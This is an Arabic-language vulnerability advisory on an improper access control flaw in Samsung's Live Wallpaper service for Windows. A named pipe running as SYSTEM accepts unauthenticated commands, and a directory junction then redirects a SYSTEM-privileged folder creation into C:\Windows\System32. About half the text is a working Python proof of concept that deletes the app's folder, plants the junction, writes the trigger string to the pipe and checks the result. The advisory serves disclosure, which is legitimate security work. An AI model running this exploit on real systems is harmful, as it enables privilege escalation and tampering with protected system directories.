
تحكم غير صحيح في الوصول في LiveWallpaperService قبل الإصدارات 3.0.9.0 يسمح بإنشاء دليل نظام محدد الاسم دون إذن مناسب.
إصدار Windows الذي تم اختباره: Windows 10 20H2 (Build 19042.1348) 64bit
إصدار Live Wallpaper: 3.0.9.0 أو أقدم
توجد خدمة LiveWallpaperService تعمل افتراضيًا في أجهزة Samsung المحمولة، لكن تم اكتشاف ثغرة أمنية تؤدي إلى إنشاء دليل SYSTEM في مسار بصلاحيات SYSTEM ضمن خدمة SYSTEM.
عادةً ما يتم تثبيت Live Wallpaper افتراضيًا على أجهزة Samsung المحمولة، لكنه أيضًا تطبيق متاح من متجر Microsoft. يمكن تشغيل التطبيق بصلاحيات المستخدم ويتم التواصل بين الخادم والعميل عبر Named PIPE IPC. في هذه الحالة، يعمل خادم PIPE بصلاحيات SYSTEM ولا يتحقق من هوية العملاء.
فيما يلي عملية التشغيل التي تتم عند تشغيل التطبيق المقابل.
يقوم الخادم عند استلام السلسلة النصية '33;' بالوصول إلى المجلد C:\Users\{username}\AppData\Local\Packages\Sidia.LiveWallpaper_wkpx6gdq8qyz8 والتحقق من وجود دليل LiveWallpaperData. يتم إنشاء دليل جديد في نظام الملفات داخل هذا المسار باسم LiveWallpaperData.
يتم استخدام Named PIPE للتواصل بين العمليات. نظرًا لعدم وجود فحص منفصل للعميل، يمكن للمهاجم فتحه مباشرة وإرسال البيانات المرغوبة.
أولاً، بعد فتح Named PIPE مباشرة، يتم إنشاء تقاطع دليل (directory junction) إلى C:\Windows\System32 باستخدام symboliclink-testing-tools التي أنتجها james forshaw. يتم إنشاؤه كدليل فرعي داخل مسار System32 بصلاحيات النظام.
فيما يلي دليل إثبات المفهوم (PoC) لهذه الثغرة.
لتنفيذ PoC، يجب توفر الشروط التالية:
CreateMountPoint.exe و DeleteMountPoint.exe المبنيان باستخدام symboliclink-testing-tools التي أنتجها james forshaw موجودين في نفس مسار ملف PoC.# python 3.7.2
import os
import shutil
import time
import getpass
def stringToWstring(st : str) -> str:
result = ''
for i in st:
result += i+'\x00'
return result
def main():
# current user name
username = getpass.getuser()
# path settings
path1 = f'C:\\Users\\{username}\\AppData\\Local\\Packages\\Sidia.LiveWallpaper_wkpx6gdq8qyz8'
path2 = 'C:\\Windows\\System32'
# delete directory
if os.path.isdir(path1):
shutil.rmtree(path1)
# create directory junction
command = f'CreateMountPoint.exe "{path1}" "{path2}"'
os.system(command)
# write data to named pipe
with open('\\\\.\\pipe\\LiveWallpaperPipe', 'a') as f:
f.write(stringToWstring('33;'))
# IPC delay time
time.sleep(2)
# directory check
if os.path.isdir(path2+'\\LiveWallpaperData'):
print('[+] Success')
else:
print('[-] failed')
# delete directory junction
command = f'DeleteMountPoint.exe {path1}'
os.system(command)
shutil.rmtree(path1)
if __name__=='__main__':
main()